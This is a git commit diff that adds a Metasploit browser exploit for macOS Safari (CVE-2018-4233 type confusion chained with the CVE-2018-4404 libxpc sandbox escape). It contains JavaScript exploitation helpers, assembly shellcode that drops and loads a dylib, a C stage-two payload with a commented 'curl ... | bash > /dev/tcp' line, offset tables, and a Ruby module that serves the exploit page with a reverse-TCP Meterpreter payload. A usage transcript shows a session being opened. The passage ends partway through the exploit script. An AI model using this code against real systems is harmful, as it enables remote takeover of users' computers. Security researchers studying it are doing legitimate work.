Land #10944, Add macOS Safari exploit from pwn2own2018
Wei Chen
commit
cc7cb7302e
|
|
@ -0,0 +1,182 @@
|
||||||
|
//
|
||||||
|
// Tiny module that provides big (64bit) integers.
|
||||||
|
//
|
||||||
|
// Copyright (c) 2016 Samuel Groß
|
||||||
|
//
|
||||||
|
// Requires utils.js
|
||||||
|
//
|
||||||
|
|
||||||
|
// Datatype to represent 64-bit integers.
|
||||||
|
//
|
||||||
|
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
||||||
|
function Int64(v) {
|
||||||
|
// The underlying byte array.
|
||||||
|
var bytes = new Uint8Array(8);
|
||||||
|
|
||||||
|
switch (typeof v) {
|
||||||
|
case 'number':
|
||||||
|
v = '0x' + Math.floor(v).toString(16);
|
||||||
|
case 'string':
|
||||||
|
if (v.startsWith('0x'))
|
||||||
|
v = v.substr(2);
|
||||||
|
if (v.length % 2 == 1)
|
||||||
|
v = '0' + v;
|
||||||
|
|
||||||
|
var bigEndian = unhexlify(v, 8);
|
||||||
|
bytes.set(Array.from(bigEndian).reverse());
|
||||||
|
break;
|
||||||
|
case 'object':
|
||||||
|
if (v instanceof Int64) {
|
||||||
|
bytes.set(v.bytes());
|
||||||
|
} else {
|
||||||
|
if (v.length != 8)
|
||||||
|
throw TypeError("Array must have excactly 8 elements.");
|
||||||
|
bytes.set(v);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 'undefined':
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw TypeError("Int64 constructor requires an argument.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a double whith the same underlying bit representation.
|
||||||
|
this.asDouble = function() {
|
||||||
|
// Check for NaN
|
||||||
|
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||||
|
throw new RangeError("Integer can not be represented by a double");
|
||||||
|
|
||||||
|
return Struct.unpack(Struct.float64, bytes);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return a javascript value with the same underlying bit representation.
|
||||||
|
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||||
|
// due to double conversion constraints.
|
||||||
|
this.asJSValue = function() {
|
||||||
|
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
|
||||||
|
throw new RangeError("Integer can not be represented by a JSValue");
|
||||||
|
|
||||||
|
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
|
||||||
|
this.assignSub(this, 0x1000000000000);
|
||||||
|
var res = Struct.unpack(Struct.float64, bytes);
|
||||||
|
this.assignAdd(this, 0x1000000000000);
|
||||||
|
|
||||||
|
return res;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return the underlying bytes of this number as array.
|
||||||
|
this.bytes = function() {
|
||||||
|
return Array.from(bytes);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return the byte at the given index.
|
||||||
|
this.byteAt = function(i) {
|
||||||
|
return bytes[i];
|
||||||
|
};
|
||||||
|
|
||||||
|
// Return the value of this number as unsigned hex string.
|
||||||
|
this.toString = function() {
|
||||||
|
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||||
|
};
|
||||||
|
|
||||||
|
// Basic arithmetic.
|
||||||
|
// These functions assign the result of the computation to their 'this' object.
|
||||||
|
|
||||||
|
// Decorator for Int64 instance operations. Takes care
|
||||||
|
// of converting arguments to Int64 instances if required.
|
||||||
|
function operation(f, nargs) {
|
||||||
|
return function() {
|
||||||
|
if (arguments.length != nargs)
|
||||||
|
throw Error("Not enough arguments for function " + f.name);
|
||||||
|
for (var i = 0; i < arguments.length; i++)
|
||||||
|
if (!(arguments[i] instanceof Int64))
|
||||||
|
arguments[i] = new Int64(arguments[i]);
|
||||||
|
return f.apply(this, arguments);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// this = -n (two's complement)
|
||||||
|
this.assignNeg = operation(function neg(n) {
|
||||||
|
for (var i = 0; i < 8; i++)
|
||||||
|
bytes[i] = ~n.byteAt(i);
|
||||||
|
|
||||||
|
return this.assignAdd(this, Int64.One);
|
||||||
|
}, 1);
|
||||||
|
|
||||||
|
// this = a + b
|
||||||
|
this.assignAdd = operation(function add(a, b) {
|
||||||
|
var carry = 0;
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
var cur = a.byteAt(i) + b.byteAt(i) + carry;
|
||||||
|
carry = cur > 0xff | 0;
|
||||||
|
bytes[i] = cur;
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2);
|
||||||
|
|
||||||
|
// this = a - b
|
||||||
|
this.assignSub = operation(function sub(a, b) {
|
||||||
|
var carry = 0;
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
var cur = a.byteAt(i) - b.byteAt(i) - carry;
|
||||||
|
carry = cur < 0 | 0;
|
||||||
|
bytes[i] = cur;
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2);
|
||||||
|
|
||||||
|
// this = a ^ b
|
||||||
|
this.assignXor = operation(function sub(a, b) {
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2);
|
||||||
|
|
||||||
|
// this = a & b
|
||||||
|
this.assignAnd = operation(function sub(a, b) {
|
||||||
|
for (var i = 0; i < 8; i++) {
|
||||||
|
bytes[i] = a.byteAt(i) & b.byteAt(i);
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}, 2)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Constructs a new Int64 instance with the same bit representation as the provided double.
|
||||||
|
Int64.fromDouble = function(d) {
|
||||||
|
var bytes = Struct.pack(Struct.float64, d);
|
||||||
|
return new Int64(bytes);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Convenience functions. These allocate a new Int64 to hold the result.
|
||||||
|
|
||||||
|
// Return -n (two's complement)
|
||||||
|
function Neg(n) {
|
||||||
|
return (new Int64()).assignNeg(n);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a + b
|
||||||
|
function Add(a, b) {
|
||||||
|
return (new Int64()).assignAdd(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a - b
|
||||||
|
function Sub(a, b) {
|
||||||
|
return (new Int64()).assignSub(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a ^ b
|
||||||
|
function Xor(a, b) {
|
||||||
|
return (new Int64()).assignXor(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return a & b
|
||||||
|
function And(a, b) {
|
||||||
|
return (new Int64()).assignAnd(a, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Some commonly used numbers.
|
||||||
|
Int64.Zero = new Int64(0);
|
||||||
|
Int64.One = new Int64(1);
|
||||||
|
|
||||||
|
// That's all the arithmetic we need for exploiting WebKit.. :)
|
||||||
Binary file not shown.
|
|
@ -0,0 +1,78 @@
|
||||||
|
//
|
||||||
|
// Utility functions.
|
||||||
|
//
|
||||||
|
// Copyright (c) 2016 Samuel Groß
|
||||||
|
//
|
||||||
|
|
||||||
|
// Return the hexadecimal representation of the given byte.
|
||||||
|
function hex(b) {
|
||||||
|
return ('0' + b.toString(16)).substr(-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return the hexadecimal representation of the given byte array.
|
||||||
|
function hexlify(bytes) {
|
||||||
|
var res = [];
|
||||||
|
for (var i = 0; i < bytes.length; i++)
|
||||||
|
res.push(hex(bytes[i]));
|
||||||
|
|
||||||
|
return res.join('');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return the binary data represented by the given hexdecimal string.
|
||||||
|
function unhexlify(hexstr) {
|
||||||
|
if (hexstr.length % 2 == 1)
|
||||||
|
throw new TypeError("Invalid hex string");
|
||||||
|
|
||||||
|
var bytes = new Uint8Array(hexstr.length / 2);
|
||||||
|
for (var i = 0; i < hexstr.length; i += 2)
|
||||||
|
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
|
||||||
|
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
function hexdump(data) {
|
||||||
|
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
|
||||||
|
data = Array.from(data);
|
||||||
|
|
||||||
|
var lines = [];
|
||||||
|
for (var i = 0; i < data.length; i += 16) {
|
||||||
|
var chunk = data.slice(i, i+16);
|
||||||
|
var parts = chunk.map(hex);
|
||||||
|
if (parts.length > 8)
|
||||||
|
parts.splice(8, 0, ' ');
|
||||||
|
lines.push(parts.join(' '));
|
||||||
|
}
|
||||||
|
|
||||||
|
return lines.join('\n');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simplified version of the similarly named python module.
|
||||||
|
var Struct = (function() {
|
||||||
|
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||||
|
var buffer = new ArrayBuffer(8);
|
||||||
|
var byteView = new Uint8Array(buffer);
|
||||||
|
var uint32View = new Uint32Array(buffer);
|
||||||
|
var float64View = new Float64Array(buffer);
|
||||||
|
|
||||||
|
return {
|
||||||
|
pack: function(type, value) {
|
||||||
|
var view = type; // See below
|
||||||
|
view[0] = value;
|
||||||
|
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
|
||||||
|
},
|
||||||
|
|
||||||
|
unpack: function(type, bytes) {
|
||||||
|
if (bytes.length !== type.BYTES_PER_ELEMENT)
|
||||||
|
throw Error("Invalid bytearray");
|
||||||
|
|
||||||
|
var view = type; // See below
|
||||||
|
byteView.set(bytes);
|
||||||
|
return view[0];
|
||||||
|
},
|
||||||
|
|
||||||
|
// Available types.
|
||||||
|
int8: byteView,
|
||||||
|
int32: uint32View,
|
||||||
|
float64: float64View
|
||||||
|
};
|
||||||
|
})();
|
||||||
Binary file not shown.
|
|
@ -0,0 +1,84 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This module exploits a type confusion bug in the Javascript Proxy object in
|
||||||
|
WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object
|
||||||
|
was introduced in Safari 10, so OSX 10.11 is not affected by the type
|
||||||
|
confusion, however the sandbox escape may still work.
|
||||||
|
|
||||||
|
The DFG JIT does not take into account that, through the use of a Proxy,
|
||||||
|
it is possible to run arbitrary JS code during the execution of a CreateThis
|
||||||
|
operation. This makes it possible to change the structure of e.g. an argument
|
||||||
|
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
||||||
|
|
||||||
|
The JIT region is then replaced with shellcode which loads the second stage.
|
||||||
|
The second stage exploits a logic error in libxpc, which uses command execution
|
||||||
|
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
1. `use exploit/osx/browser/safari_proxy_object_type_confusion`
|
||||||
|
1. `set LHOST <tab>`
|
||||||
|
1. `exploit`
|
||||||
|
1. Visit the URL on a vulnerable version of Safari
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### High Sierra 10.13
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2
|
||||||
|
LHOST => 192.168.0.2
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit
|
||||||
|
[*] Exploit running as background job 0.
|
||||||
|
[*] Exploit completed, but no session was created.
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||||
|
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||||
|
[*] Using URL: http://0.0.0.0:8080/0PiuTy
|
||||||
|
[*] Local IP: http://192.168.0.2:8080/0PiuTy
|
||||||
|
[*] Server started.
|
||||||
|
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
|
||||||
|
[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38
|
||||||
|
[*] Sending stage (53508 bytes) to 192.168.0.2
|
||||||
|
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800
|
||||||
|
|
||||||
|
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1
|
||||||
|
[*] Starting interaction with 1...
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : Users-iMac.local
|
||||||
|
OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64
|
||||||
|
Architecture : x64
|
||||||
|
Meterpreter : python/osx
|
||||||
|
```
|
||||||
|
|
||||||
|
### Adding offsets for new versions
|
||||||
|
|
||||||
|
Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions
|
||||||
|
are not supported. It's easy to add support for a vulnerable version by running
|
||||||
|
the script `external/source/exploits/CVE-2018-4404/gen_offsets.rb` on the
|
||||||
|
target version.
|
||||||
|
|
||||||
|
You will need to install the latest radare2 for the script to function.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..`
|
||||||
|
$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb
|
||||||
|
'10.13' => {
|
||||||
|
:dyld_stub_loader => '0x000012a8',
|
||||||
|
:dlopen => '0x00002e60',
|
||||||
|
:confstr => '0x000024fc',
|
||||||
|
:strlen => '0x00001440',
|
||||||
|
:strlen_got => '0xee8',
|
||||||
|
},
|
||||||
|
```
|
||||||
|
|
||||||
|
The offset `:jsc_vtab` cannot be generated but you can guess it is either 0xe000 or 0xd000.
|
||||||
|
You can then add the offsets to the module:
|
||||||
|
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`
|
||||||
|
|
||||||
|
Please don't forget to contribute the offsets back to the framework if you have
|
||||||
|
successfully tested them.
|
||||||
|
|
||||||
|
|
@ -0,0 +1,13 @@
|
||||||
|
|
||||||
|
all:
|
||||||
|
+$(MAKE) -C stage1
|
||||||
|
+$(MAKE) -C stage2
|
||||||
|
|
||||||
|
install:
|
||||||
|
cp stage1/stage1.bin ../../../../data/exploits/CVE-2018-4233/stage1.bin
|
||||||
|
cp stage2/stage2.dylib ../../../../data/exploits/CVE-2018-4404/stage2.dylib
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f stage1/stage1.bin
|
||||||
|
rm -f stage2/stage2.dylib
|
||||||
|
|
||||||
|
|
@ -0,0 +1,30 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
#`brew install radare2` <-- older version :(
|
||||||
|
#`git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh`
|
||||||
|
|
||||||
|
def grab_offset(lib_file, function)
|
||||||
|
offset_string = `r2 -2qQ -c 'aa; afl | grep #{function}' #{lib_file}`
|
||||||
|
offset_string[0..9]
|
||||||
|
end
|
||||||
|
|
||||||
|
version = `sw_vers -productVersion`.strip
|
||||||
|
puts " '#{version}' => {"
|
||||||
|
puts " :dyld_stub_loader => '#{grab_offset("/usr/lib/system/libdyld.dylib", "dyld_stub_binder")}',"
|
||||||
|
puts " :dlopen => '#{grab_offset("/usr/lib/system/libdyld.dylib", "sym._dlopen")}',"
|
||||||
|
puts " :confstr => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._confstr")}',"
|
||||||
|
puts " :strlen => '#{grab_offset("/usr/lib/system/libsystem_c.dylib", "sym._strlen")}',"
|
||||||
|
|
||||||
|
strlen_disasm = `r2 -2qQ -c "iS | grep nl_symbol_ptr; s sym.imp.strlen; pd 1" /System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore`
|
||||||
|
#strlen_disasm = '''
|
||||||
|
#12 0x00b67000 16 0x00b66000 16 -rw- 12.__DATA.__nl_symbol_ptr
|
||||||
|
#;-- imp.strlen:
|
||||||
|
#0x00ace162 ff25808d0900 jmp qword [0x00b66ee8] ; [0xb66ee8:8]=0xacf30e
|
||||||
|
#'''
|
||||||
|
got_offset = strlen_disasm.split(" ")[3].to_i(16)
|
||||||
|
strlen_got_entry = strlen_disasm.scan(/\[(\S+)\]/).first.first.to_i(16)
|
||||||
|
strlen_got_offset = (strlen_got_entry - got_offset).to_s(16)
|
||||||
|
puts " :strlen_got => '0x#{strlen_got_offset}',"
|
||||||
|
puts " },"
|
||||||
|
|
||||||
|
|
@ -0,0 +1,7 @@
|
||||||
|
|
||||||
|
.PHONY: all
|
||||||
|
all: stage1.js
|
||||||
|
|
||||||
|
stage1.js: stage1.asm
|
||||||
|
@nasm -o stage1.bin stage1.asm
|
||||||
|
|
||||||
|
|
@ -0,0 +1,70 @@
|
||||||
|
BITS 64
|
||||||
|
|
||||||
|
start:
|
||||||
|
; int 3
|
||||||
|
|
||||||
|
; Step 0: function prologue
|
||||||
|
sub rsp, 0x1008 ; ensure 16-byte alignment
|
||||||
|
|
||||||
|
; Step 1: call confstr() and build the path to our stage 2 .dylib on the stack
|
||||||
|
mov rdx, 0x1000
|
||||||
|
mov rsi, rsp
|
||||||
|
mov rdi, 65537 ; _CS_DARWIN_USER_TEMP_DIR
|
||||||
|
mov rax, 0x4141414141414141 ; will be replaced with &confstr
|
||||||
|
call rax ; confstr()
|
||||||
|
test rax, rax
|
||||||
|
jnz build_path
|
||||||
|
mov rax, 0xffff000000000001 ; return 1 to indicate failure in confstr
|
||||||
|
jmp exit
|
||||||
|
|
||||||
|
build_path:
|
||||||
|
dec rax
|
||||||
|
mov rcx, rsp
|
||||||
|
add rcx, rax
|
||||||
|
mov dword [rcx], 0x79642e78 ; x.dy
|
||||||
|
mov dword [rcx+4], 0x62696c ; lib\x00
|
||||||
|
|
||||||
|
; Step 2: write dylib to filesystem
|
||||||
|
mov rax, 0x2000005 ; sys_open
|
||||||
|
mov rdi, rsp ; path
|
||||||
|
mov rdx, 0x1ed ; protections (0644)
|
||||||
|
mov rsi, 0x602 ; O_TRUNC | O_CREAT | O_RDWR
|
||||||
|
syscall
|
||||||
|
jnb write_file
|
||||||
|
mov rax, 0xffff000000000002 ; return 2 to indicate failure in open
|
||||||
|
jmp exit
|
||||||
|
|
||||||
|
write_file:
|
||||||
|
mov rdi, rax
|
||||||
|
mov rsi, 0x4242424242424242
|
||||||
|
mov r8, 0x4343434343434343 ; rdx is set to zero during the syscall...
|
||||||
|
write_loop:
|
||||||
|
mov rdx, r8
|
||||||
|
mov rax, 0x2000004 ; sys_write
|
||||||
|
syscall
|
||||||
|
jnb write_succeeded
|
||||||
|
mov rax, 0xffff000000000003 ; return 3 to indicate failure in write
|
||||||
|
jmp exit
|
||||||
|
write_succeeded:
|
||||||
|
sub r8, rax
|
||||||
|
add rsi, rax
|
||||||
|
test r8, r8
|
||||||
|
jnz write_loop
|
||||||
|
|
||||||
|
; Step 3: open dylib with dlopen
|
||||||
|
dlopen:
|
||||||
|
xor rsi, rsi
|
||||||
|
mov rdi, rsp
|
||||||
|
mov rax, 0x4444444444444444 ; will be replaced with &dlopen
|
||||||
|
call rax
|
||||||
|
test rax, rax
|
||||||
|
jnz exit_success
|
||||||
|
mov rax, 0xffff000000000004 ; return 4 to indicate failure in dlopen
|
||||||
|
jmp exit
|
||||||
|
|
||||||
|
; Step 4: function epilogue and return
|
||||||
|
exit_success:
|
||||||
|
mov rax, 0xffff000000000000 ; return 0 for success
|
||||||
|
exit:
|
||||||
|
add rsp, 0x1008
|
||||||
|
ret
|
||||||
|
|
@ -0,0 +1,8 @@
|
||||||
|
CC = clang
|
||||||
|
|
||||||
|
.PHONY: all
|
||||||
|
all: stage2.dylib
|
||||||
|
|
||||||
|
stage2.dylib: payload.c
|
||||||
|
$(CC) -shared -o stage2.dylib payload.c
|
||||||
|
|
||||||
|
|
@ -0,0 +1,42 @@
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include <mach/mach_port.h>
|
||||||
|
|
||||||
|
struct spawn_via_launchd_attr {
|
||||||
|
uint64_t spawn_flags;
|
||||||
|
const char *spawn_path;
|
||||||
|
const char *spawn_chdir;
|
||||||
|
const char * const * spawn_env;
|
||||||
|
const mode_t *spawn_umask;
|
||||||
|
mach_port_t *spawn_observer_port;
|
||||||
|
const cpu_type_t *spawn_binpref;
|
||||||
|
size_t spawn_binpref_cnt;
|
||||||
|
void * spawn_quarantine;
|
||||||
|
const char *spawn_seatbelt_profile;
|
||||||
|
const uint64_t *spawn_seatbelt_flags;
|
||||||
|
};
|
||||||
|
|
||||||
|
#define spawn_via_launchd(a, b, c) _spawn_via_launchd(a, b, c, 3)
|
||||||
|
pid_t _spawn_via_launchd(const char *label, const char * const *argv, const struct spawn_via_launchd_attr *spawn_attrs, int struct_version);
|
||||||
|
|
||||||
|
const char payload_cmd_placeholder[1024] = "PAYLOAD_CMD_PLACEHOLDER";
|
||||||
|
|
||||||
|
__attribute__((constructor))
|
||||||
|
void _injection()
|
||||||
|
{
|
||||||
|
const char* argv[] = {
|
||||||
|
"/bin/bash",
|
||||||
|
"-c",
|
||||||
|
payload_cmd_placeholder,
|
||||||
|
/*"open /Applications/Calculator.app/Contents/MacOS/Calculator",*/
|
||||||
|
/*"curl http://" HOST ":" HTTP_PORT "/pwn.sh | bash > /dev/tcp/" HOST "/" TCPLOG_PORT " 2>&1",*/
|
||||||
|
0,
|
||||||
|
};
|
||||||
|
|
||||||
|
mach_port_t mpo = MACH_PORT_NULL;
|
||||||
|
struct spawn_via_launchd_attr attrs;
|
||||||
|
memset(&attrs, 0, sizeof(attrs));
|
||||||
|
attrs.spawn_observer_port = &mpo;
|
||||||
|
|
||||||
|
spawn_via_launchd("net.saelo.hax", argv, &attrs);
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,510 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Safari Proxy Object Type Confusion',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a type confusion bug in the Javascript Proxy object in
|
||||||
|
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
|
||||||
|
it is possible to run arbitrary JS code during the execution of a CreateThis
|
||||||
|
operation. This makes it possible to change the structure of e.g. an argument
|
||||||
|
without causing a bailout, leading to a type confusion (CVE-2018-4233).
|
||||||
|
|
||||||
|
The JIT region is then replaced with shellcode which loads the second stage.
|
||||||
|
The second stage exploits a logic error in libxpc, which uses command execution
|
||||||
|
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'saelo' ],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2018-4233'],
|
||||||
|
['CVE', '2018-4404'],
|
||||||
|
['URL', 'https://github.com/saelo/cve-2018-4233'],
|
||||||
|
['URL', 'https://github.com/saelo/pwn2own2018'],
|
||||||
|
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
|
||||||
|
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Mar 15 2018'))
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def offset_table
|
||||||
|
{
|
||||||
|
'10.12.6' => {
|
||||||
|
:jsc_vtab => '0x0000d8d8',
|
||||||
|
:dyld_stub_loader => '0x00001168',
|
||||||
|
:dlopen => '0x000027f7',
|
||||||
|
:confstr => '0x00002c84',
|
||||||
|
:strlen => '0x00001b40',
|
||||||
|
:strlen_got => '0xdc0',
|
||||||
|
},
|
||||||
|
'10.13' => {
|
||||||
|
:jsc_vtab => '0x0000e5f8',
|
||||||
|
:dyld_stub_loader => '0x000012a8',
|
||||||
|
:dlopen => '0x00002e60',
|
||||||
|
:confstr => '0x000024fc',
|
||||||
|
:strlen => '0x00001440',
|
||||||
|
:strlen_got => '0xee8',
|
||||||
|
},
|
||||||
|
'10.13.3' => {
|
||||||
|
:jsc_vtab => '0xe5e8',
|
||||||
|
:dyld_stub_loader => '0x1278',
|
||||||
|
:dlopen => '0x2e30',
|
||||||
|
:confstr => '0x24dc',
|
||||||
|
:strlen => '0x1420',
|
||||||
|
:strlen_got => '0xee0',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_data(directory, file)
|
||||||
|
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
|
||||||
|
::File.binread path
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage1_js
|
||||||
|
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
|
||||||
|
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage2_js
|
||||||
|
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
|
||||||
|
payload_cmd = payload.raw
|
||||||
|
if target['Arch'] == ARCH_PYTHON
|
||||||
|
payload_cmd = "echo \"#{payload_cmd}\" | python"
|
||||||
|
end
|
||||||
|
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
|
||||||
|
stage2[placeholder_index, payload_cmd.length] = payload_cmd
|
||||||
|
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_offsets(user_agent)
|
||||||
|
if user_agent =~ /Intel Mac OS X (.*?)\)/
|
||||||
|
version = $1.gsub("_", ".")
|
||||||
|
mac_osx_version = Gem::Version.new(version)
|
||||||
|
if mac_osx_version >= Gem::Version.new('10.13.4')
|
||||||
|
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||||
|
elsif mac_osx_version < Gem::Version.new('10.12')
|
||||||
|
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||||
|
elsif offset_table.key?(version)
|
||||||
|
offset = offset_table[version]
|
||||||
|
return <<-EOF
|
||||||
|
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
|
||||||
|
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
|
||||||
|
const DLOPEN_OFFSET = #{offset[:dlopen]};
|
||||||
|
const CONFSTR_OFFSET = #{offset[:confstr]};
|
||||||
|
const STRLEN_OFFSET = #{offset[:strlen]};
|
||||||
|
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
|
||||||
|
EOF
|
||||||
|
else
|
||||||
|
print_warning "No offsets for version #{mac_osx_version}"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_warning "Unexpected User-Agent"
|
||||||
|
end
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
user_agent = request['User-Agent']
|
||||||
|
print_status("Request from #{user_agent}")
|
||||||
|
offsets = get_offsets(user_agent)
|
||||||
|
unless offsets
|
||||||
|
send_not_found(cli)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
utils = exploit_data "CVE-2018-4233", "utils.js"
|
||||||
|
int64 = exploit_data "CVE-2018-4233", "int64.js"
|
||||||
|
html = %Q^
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
#{stage1_js}
|
||||||
|
stage1.replace = function(oldVal, newVal) {
|
||||||
|
for (var idx = 0; idx < this.length; idx++) {
|
||||||
|
var found = true;
|
||||||
|
for (var j = idx; j < idx + 8; j++) {
|
||||||
|
if (this[j] != oldVal.byteAt(j - idx)) {
|
||||||
|
found = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (found)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
this.set(newVal.bytes(), idx);
|
||||||
|
};
|
||||||
|
#{stage2_js}
|
||||||
|
#{utils}
|
||||||
|
#{int64}
|
||||||
|
#{offsets}
|
||||||
|
|
||||||
|
var ready = new Promise(function(resolve) {
|
||||||
|
if (typeof(window) === 'undefined')
|
||||||
|
resolve();
|
||||||
|
else
|
||||||
|
window.onload = function() {
|
||||||
|
resolve();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
ready = Promise.all([ready]);
|
||||||
|
|
||||||
|
print = function(msg) {
|
||||||
|
//console.log(msg);
|
||||||
|
//document.body.innerText += msg + '\\n';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Must create this indexing type transition first,
|
||||||
|
// otherwise the JIT will deoptimize later.
|
||||||
|
var a = [13.37, 13.37];
|
||||||
|
a[0] = {};
|
||||||
|
|
||||||
|
